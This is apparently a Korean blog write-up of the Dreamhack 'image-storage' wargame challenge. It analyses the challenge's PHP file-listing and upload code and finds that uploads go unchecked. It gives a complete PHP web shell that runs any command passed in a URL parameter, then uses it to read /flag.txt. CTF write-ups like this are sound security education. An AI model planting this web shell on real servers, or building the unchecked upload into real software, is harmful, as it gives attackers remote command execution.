'll Hacker
Dreamhack wargame : image-storage write up 본문
Contents
728x90
실습을 통해 개념 익히기(로드맵 강의자료 정리)
https://dreamhack.io/wargame/challenges/38/
1) 코드 분석
1-1. index.php
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
▶️ list.php와 upload.php로 이동하는 메뉴 출력
1-2. list.php
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
▶️ $directory의 파일들 중 '. ', ' .. ' , index.html을 제외하고 나열
1-3. upload.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
▶️ 이용자가 업로드한 파일을 uploads 폴더에 복사하며, 이용자는 http://host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 을 통해 접근가능
▶️ 만약 같은 이름의 파일이 있다면 "already exists"라는 메시지를 반환
2) 취약점 분석
uploads.php에서 업로드할 파일에 대해 어떠한 검사도 하지 않음 -> 웹 셸 업로드 공격 가능
3) 익스플로잇 (공격)
//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 )
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
▶️ php 웹 셸 코드
웹셸 작동은 윈도우 안티바이러스때문에 억까당해서 실행이 안됨 ㅇㅅㅇa;;
칼리 리눅스에서 실행시켜봄
웹 셸을 업로드하면 오른쪽 이미지처럼 목록이 나오게 된다
거기에 들어가면
실행할 수 있게끔 나옴
플래그는 /flag.txt에 있다고 하니까
cat /flag.txt하면
플래그 나옴!!!
✌️✌️✌️✌️✌️✌️✌️✌️✌️✌️
728x90
'Hacking > WebHacking' 카테고리의 다른 글
Dreamhack wargame : web-ssrf write up (0) | 2024.02.06 |
---|---|
Server-side Request Forgery(SSRF) 정리 (1) | 2024.02.06 |
Command Injection 정리 (0) | 2024.02.01 |
NoSQL Injection 정리 및 dreamhack wargame : mango write up (0) | 2024.02.01 |
웹해킹 유용도구 : 개발자 도구 사용법 (0) | 2024.01.19 |